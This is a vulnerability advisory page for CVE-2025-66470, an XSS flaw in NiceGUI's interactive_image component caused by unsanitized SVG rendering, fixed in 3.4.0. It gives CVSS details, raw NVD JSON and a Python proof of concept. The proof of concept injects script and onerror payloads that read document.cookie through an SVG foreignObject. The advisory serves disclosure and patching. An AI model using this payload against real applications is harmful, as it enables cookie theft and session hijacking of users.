Security Vulnerability Report
中文
CVE-2025-66470 CVSS 6.1 MEDIUM

CVE-2025-66470

Published: 2025-12-09 01:16:55
Last Modified: 2025-12-11 18:49:47

Description

NiceGUI is a Python-based UI framework. Versions 3.3.1 and below are subject to a XSS vulnerability through the ui.interactive_image component of NiceGUI. The component renders SVG content using Vue's v-html directive without any sanitization. This allows attackers to inject malicious HTML or JavaScript via the SVG <foreignObject> tag whenever the image component is rendered or updated. This is particularly dangerous for dashboards or multi-user applications displaying user-generated content or annotations. This issue is fixed in version 3.4.0.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:zauberzeug:nicegui:*:*:*:*:*:*:*:* - VULNERABLE
NiceGUI <= 3.3.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
from nicegui import ui # Malicious SVG payload demonstrating XSS via foreignObject malicious_svg = ''' <svg xmlns="http://www.w3.org/2000/svg" width="300" height="200"> <foreignObject width="100%" height="100%"> <div xmlns="http://www.w3.org/1999/xhtml"> <script>alert(document.cookie)</script> <img src="x" onerror="alert(document.cookie)"/> </div> </foreignObject> </svg> ''' @ui.page('/') def main(): # Vulnerable: Renders SVG content without sanitization ui.interactive_image( svg_content=malicious_svg, content_width=300, content_height=200 ) ui.run()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-66470", "sourceIdentifier": "[email protected]", "published": "2025-12-09T01:16:54.957", "lastModified": "2025-12-11T18:49:47.080", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "NiceGUI is a Python-based UI framework. Versions 3.3.1 and below are subject to a XSS vulnerability through the ui.interactive_image component of NiceGUI. The component renders SVG content using Vue's v-html directive without any sanitization. This allows attackers to inject malicious HTML or JavaScript via the SVG <foreignObject> tag whenever the image component is rendered or updated. This is particularly dangerous for dashboards or multi-user applications displaying user-generated content or annotations. This issue is fixed in version 3.4.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:zauberzeug:nicegui:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.4.0", "matchCriteriaId": "AD5CC19F-9BBA-4C0D-879C-627478C1E72B"}]}]}], "references": [{"url": "https://github.com/zauberzeug/nicegui/commit/58ad0b36e19922de16bbc79ea3ddd29851b1a3e3", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/zauberzeug/nicegui/security/advisories/GHSA-2m4f-cg75-76w2", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/zauberzeug/nicegui/security/advisories/GHSA-2m4f-cg75-76w2", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}